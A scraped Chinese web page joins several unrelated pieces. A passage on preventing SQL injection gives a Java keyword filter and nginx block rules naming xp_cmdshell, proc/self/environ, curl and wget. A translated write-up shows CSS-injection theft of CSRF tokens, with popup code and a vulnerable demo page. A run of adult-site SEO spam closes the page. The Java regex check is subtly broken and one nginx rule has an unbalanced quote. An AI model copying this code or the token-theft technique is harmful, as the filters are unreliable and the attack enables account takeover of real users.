          使用PreparedStatement預編譯后的SQL為:

          delete from table1 where id=?
          

          此時SQL語句結構已固定,無論"?"被替換為任何參數,SQL語句只認為where后面只有一個條件,當再傳入 1001 or 1=1時,語句會報錯,從而達到防止SQL注入效果

          2、mybatis中#{}防止SQL注入

          mybatis中#{}表達式防止SQL注入與PreparedStatement類似,都是對SQL語句進行預編譯處理

          注意:

          #{} :參數占位符

          ${} :拼接替換符,不能防止SQL注入,一般用于

          • 傳入數據庫對象(如:數據庫名稱、表名)
          • order by 后的條件

          3、對請求參數的敏感詞匯進行過濾

          這里是springboot的寫法,如下:

          import org.springframework.context.annotation.Configuration;
          import javax.servlet.*;
          import javax.servlet.annotation.WebFilter;
          import java.io.IOException;
          import java.util.Enumeration;
           
          /**
           * @Auther: 睡竹
           * @Date: 2023/03/07
           * @Description: sql防注入過濾器
           */
          @WebFilter(urlPatterns="/*",filterName="sqlFilter")
          @Configuration
          public class SqlFilter implements Filter {
           
              @Override
              public void init(FilterConfig filterConfig) throws ServletException {}
           
              /**
               * @description sql注入過濾
               */
              @Override
              public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                  ServletRequest request=servletRequest;
                  ServletResponse response=servletResponse;
                  // 獲得所有請求參數名
                  Enumeration<String> names=request.getParameterNames();
                  String sql="";
                  while (names.hasMoreElements()){
                      // 得到參數名
                      String name=names.nextElement().toString();
                      // 得到參數對應值
                      String[] values=request.getParameterValues(name);
                      for (int i=0; i < values.length; i++) {
                          sql +=values[i];
                      }
                  }
                  if (sqlValidate(sql)) {
                      //TODO 這里直接拋異常處理,前后端交互項目中,請把錯誤信息按前后端"數據返回的VO"對象進行封裝
                      throw new IOException("您發送請求中的參數中含有非法字符");
                  } else {
                      filterChain.doFilter(request,response);
                  }
              }
           
              /**
               * @description 匹配效驗
               */
              protected static boolean sqlValidate(String str){
                  // 統一轉為小寫
                  String s=str.toLowerCase();
                  // 過濾掉的sql關鍵字,特殊字符前面需要加\\進行轉義
                  String badStr=        "select|update|and|or|delete|insert|truncate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute|table|"+
                                  "char|declare|sitename|xp_cmdshell|like|from|grant|use|group_concat|column_name|" +
                                  "information_schema.columns|table_schema|union|where|order|by|" +
                                  "'\\*|\\;|\\-|\\--|\\+|\\,|\\//|\\/|\\%|\\#";
                  //使用正則表達式進行匹配
                  boolean matches=s.matches(badStr);
                  return matches;
              }
           
              @Override
              public void destroy() {}
          }
          

          4、nginx反向代理防止SQL注入

          越來越多網站使用nginx進行反向代理,該層我們也可以進行防止SQL注入配置。

          將下面的Nginx配置文件代碼放入到server塊中,然后重啟Nginx即可

           if ($request_method !~* GET|POST) { return 444; }
           #使用444錯誤代碼可以更加減輕服務器負載壓力。
           #防止SQL注入
           if ($query_string ~* (\$|'|--|[+|(%20)]union[+|(%20)]|[+|(%20)]insert[+|(%20)]|[+|(%20)]drop[+|(%20)]|[+|(%20)]truncate[+|(%20)]|[+|(%20)]update[+|(%20)]|[+|(%20)]from[+|(%20)]|[+|(%20)]grant[+|(%20)]|[+|(%20)]exec[+|(%20)]|[+|(%20)]where[+|(%20)]|[+|(%20)]select[+|(%20)]|[+|(%20)]and[+|(%20)]|[+|(%20)]or[+|(%20)]|[+|(%20)]count[+|(%20)]|[+|(%20)]exec[+|(%20)]|[+|(%20)]chr[+|(%20)]|[+|(%20)]mid[+|(%20)]|[+|(%20)]like[+|(%20)]|[+|(%20)]iframe[+|(%20)]|[\<|%3c]script[\>|%3e]|javascript|alert|webscan|dbappsecurity|style|confirm\(|innerhtml|innertext)(.*)$) { return 555; }
           if ($uri ~* (/~).*) { return 501; }
           if ($uri ~* (\\x.)) { return 501; }
           #防止SQL注入 
           if ($query_string ~* "[;'<>].*") { return 509; }
           if ($request_uri ~ " ") { return 509; }
           if ($request_uri ~ (\/\.+)) { return 509; }
           if ($request_uri ~ (\.+\/)) { return 509; }
           #if ($uri ~* (insert|select|delete|update|count|master|truncate|declare|exec|\*|\')(.*)$ ) { return 503; }
           #防止SQL注入
           if ($request_uri ~* "(cost\()|(concat\()") { return 504; }
           if ($request_uri ~* "[+|(%20)]union[+|(%20)]") { return 504; }
           if ($request_uri ~* "[+|(%20)]and[+|(%20)]") { return 504; }
           if ($request_uri ~* "[+|(%20)]select[+|(%20)]") { return 504; }
           if ($request_uri ~* "[+|(%20)]or[+|(%20)]") { return 504; }
           if ($request_uri ~* "[+|(%20)]delete[+|(%20)]") { return 504; }
           if ($request_uri ~* "[+|(%20)]update[+|(%20)]") { return 504; }
           if ($request_uri ~* "[+|(%20)]insert[+|(%20)]") { return 504; }
           if ($query_string ~ "(<|%3C).*script.*(>|%3E)") { return 505; }
           if ($query_string ~ "GLOBALS(=|\[|\%[0-9A-Z]{0,2})") { return 505; }
           if ($query_string ~ "_REQUEST(=|\[|\%[0-9A-Z]{0,2})") { return 505; }
           if ($query_string ~ "proc/self/environ") { return 505; }
           if ($query_string ~ "mosConfig_[a-zA-Z_]{1,21}(=|\%3D)") { return 505; }
           if ($query_string ~ "base64_(en|de)code\(.*\)") { return 505; }
           if ($query_string ~ "[a-zA-Z0-9_]=http://") { return 506; }
           if ($query_string ~ "[a-zA-Z0-9_]=(\.\.//?)+") { return 506; }
           if ($query_string ~ "[a-zA-Z0-9_]=/([a-z0-9_.]//?)+") { return 506; }
           if ($query_string ~ "b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)b") { return 507; }
           if ($query_string ~ "b(erections|hoodia|huronriveracres|impotence|levitra|libido)b") {return 507; }
           if ($query_string ~ "b(ambien|bluespill|cialis|cocaine|ejaculation|erectile)b") { return 507; }
           if ($query_string ~ "b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)b") { return 507; }
           #這里大家根據自己情況添加刪減上述判斷參數,cURL、wget這類的屏蔽有點兒極端了,但要“寧可錯殺一千,不可放過一個”。
           if ($http_user_agent ~* YisouSpider|ApacheBench|WebBench|Jmeter|JoeDog|Havij|GetRight|TurnitinBot|GrabNet|masscan|mail2000|github|wget|curl|Java|python) { return 508; }
           #同上,大家根據自己站點實際情況來添加刪減下面的屏蔽攔截參數。
           if ($http_user_agent ~* "Go-Ahead-Got-It") { return 508; }
           if ($http_user_agent ~* "GetWeb!") { return 508; }
           if ($http_user_agent ~* "Go!Zilla") { return 508; }
           if ($http_user_agent ~* "Download Demon") { return 508; }
           if ($http_user_agent ~* "Indy Library") { return 508; }
           if ($http_user_agent ~* "libwww-perl") { return 508; }
           if ($http_user_agent ~* "Nmap Scripting Engine") { return 508; }
           if ($http_user_agent ~* "~17ce.com") { return 508; }
           if ($http_user_agent ~* "WebBench*") { return 508; }
           if ($http_user_agent ~* "spider") { return 508; } #這個會影響國內某些搜索引擎爬蟲,比如:搜狗
           #攔截各惡意請求的UA,可以通過分析站點日志文件或者waf日志作為參考配置。
           if ($http_referer ~* 17ce.com) { return 509; }
           #攔截17ce.com站點測速節點的請求,所以明月一直都說這些測速網站的數據僅供參考不能當真的。
           if ($http_referer ~* WebBench*") { return 509; }
           #攔截WebBench或者類似壓力測試工具,其他工具只需要更換名稱即可。

          原文鏈接:https://mp.weixin.qq.com/s/nJVuXxtfPG7XoKy_i274PQ

          SS相信大家不會陌生,在百度百科中它的解釋是一種用來表現HTML(標準通用標記語言的一個應用)或XML(標準通用標記語言的一個子集)等文件樣式的計算機語言。那么,它僅僅只是一種用來表示樣式的語言嗎?當然不是!其實早在幾年前,CSS就已被安全研究人員運用于滲透測試當中。這里有一篇文章就為我們詳細介紹了一種,使用屬性選擇器和iFrame,并通過CSS注入來竊取敏感數據的方法。但由于該方法需要iFrame,而大多數主流站點都不允許該操作,因此這種攻擊方法并不實用。

          這里我將為大家詳細介紹一種不需要iframe且只需10秒,就能為我們有效地竊取CSRF token的方法

          一旦用戶的CSRF token被竊取,由于受害者已經在攻擊者的網站上,因此攻擊者可以繼續攻擊并完成對用戶的CSRF攻擊操作。

          背景

          正如原文所描述的那樣,CSS屬性選擇器開發者可以根據屬性標簽的值匹配子字符串來選擇元素。 這些屬性值選擇器可以做以下操作:

          • 如果字符串以子字符串開頭,則匹配

          • 如果字符串以子字符串結尾,則匹配

          • 如果字符串在任何地方包含子字符串,則匹配

          屬性選擇器能讓開發人員查詢單個屬性的頁面HTML標記,并且匹配它們的值。一個實際的用例是將以“https://example.com”開頭的所有href屬性變為某種特定的顏色。

          而在實際環境中,一些敏感信息會被存放在HTML標簽內。在大多數情況下CSRF token都是以這種方式被存儲的:即隱藏表單的屬性值中。

          這使得我們可以將CSS選擇器與表單中的屬性進行匹配,并根據表單是否與起始字符串匹配,加載一個外部資源,例如背景圖片,來嘗試猜測屬性的起始字母。

          通過這種方式,攻擊者可以進行逐字猜解并最終獲取到完整的敏感數值。

          想要解決這個問題受害者可以在其服務器實施內容安全策略(CSP),防止攻擊者從外部加載CSS代碼。

          無iFrames

          要做到無iFrame,我將使用一種類似于之前我討論過的方法:我將創建一個彈窗,然后在設置計時器后更改彈出窗口的位置。

          使用這種方法,我仍然可以加載受害者的CSS,但我不再依賴于受害者是否允許iFrame。因為最初的彈出是通過用戶事件觸發的,所以我并沒有被瀏覽器阻止。

          為了強制重載,我在CSS注入間彈出一個虛擬窗口,如下:

          var win2=window.open('https://security.love/anything', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")var win2=window.open(`https://security.love/cssInjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")

          沒有后端服務器

          在CureSec的文章中描述了將數據傳輸到后端服務器,但由于CSRF是針對客戶端的攻擊,因此如果我們能想出一種不需要服務器的方法,那么就可以為我們節省大量的開銷和簡化我們的操作。

          為了接收受害者客戶端加載資源,我們可以利用Service Workers來攔截和讀取請求數據。Service Workers目前只適用于同源請求,在我的演示中受害者和攻擊者頁面已處于同一源上。

          不過不久后,chrome很可能會合并這個實驗性的功能,允許Service Workers攔截跨域請求。

          這樣,就可以確保我們在客戶端的攻擊100%的執行,并強制用戶在10秒內點擊鏈接執行CSRF攻擊,演示如下:

          Demo

          如上所述,因為我并不想運行一個web服務器,所以我使用service workers攔截和模擬服務器端組件。目前,該演示只適用于Chrome瀏覽器。

          首先,我創建了一個易受攻擊的目標,它存在一個基于DOM的CSS注入漏洞,并在頁面放置了一個敏感token。我還對腳本標簽添加了一些保護措施,對左尖括號和右尖括號進行了編碼。

          <form action="https://security.love" id="sensitiveForm">
           <input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i"></form><script src="mockingTheBackend.js"></script><script>
           var fragment=decodeURIComponent(window.location.href.split("?injection=")[1]); var htmlEncode=fragment.replace(/</g,"&lt;").replace(/>/g,"&gt;"); document.write("<style>" + htmlEncode + "</style>");</script>

          接下來,我們將強制加載受害者的CSS,并且使用上述方法,可一次竊取(猜解)一個敏感字符。

          在接收端,我已經定義了一個攔截請求的service worker,并通過post-message將它們發送回域,然后我們將token存儲在本地存儲中以供后續使用。你也可以想象一個后端Web服務器,通過Web套接字或輪詢將CSRF token回發給攻擊者域。

          目前該測試僅支持CHROME:

          demo

          如果你的瀏覽器支持的話,只需點擊打開頁面任意位置,你將看到CSRF token將逐一被猜解出來。

          結語

          有趣的是,反射型CSS注入實際上比存儲型CSS注入更致命,因為存儲型CSS注入需要一個服務器在受害者渲染之前來更新CSS。

          一段時間以來,CSS注入在嚴重程度上來回變化。過去IE瀏覽器是允許用戶在CSS中執行Javascript代碼的。這個演示也從某種程度上表明了CSS注入,以及在你的域上渲染不受信任的CSS仍會導致嚴重的安全問題。


          主站蜘蛛池模板: 激情久久av一区av二区av三区| 国模一区二区三区| 久久一区二区精品综合| 色妞AV永久一区二区国产AV| 日本精品一区二区三区在线观看| 精品人妻一区二区三区毛片| 久久人妻内射无码一区三区 | 丰满人妻一区二区三区免费视频| 亚洲一区AV无码少妇电影☆| 亚洲一区二区在线免费观看| 人妻视频一区二区三区免费| 91午夜精品亚洲一区二区三区 | 女同一区二区在线观看| 国产精品视频一区麻豆| 精品视频无码一区二区三区| 国产成人无码AV一区二区| 国模私拍一区二区三区| 亚洲一区欧洲一区| 亚洲色偷精品一区二区三区| 在线成人综合色一区| 视频一区二区三区免费观看| 日本一区二区三区在线网 | 激情亚洲一区国产精品| 亚洲欧美日韩中文字幕在线一区| 无码国产精品一区二区免费虚拟VR | 国产嫖妓一区二区三区无码| 日本一区二区三区不卡视频中文字幕| 丝袜美腿一区二区三区| 波多野结衣中文一区| 久久se精品一区二区| 91精品国产一区二区三区左线| 亚洲欧美国产国产综合一区| 精品国产一区二区三区久久蜜臀| 国产免费播放一区二区| 精品一区精品二区制服| 国产成人一区二区在线不卡| 亚洲AV无码一区二区三区DV| 日本精品高清一区二区2021| 无码一区二区三区老色鬼| 国产一区美女视频| 亚洲av乱码一区二区三区|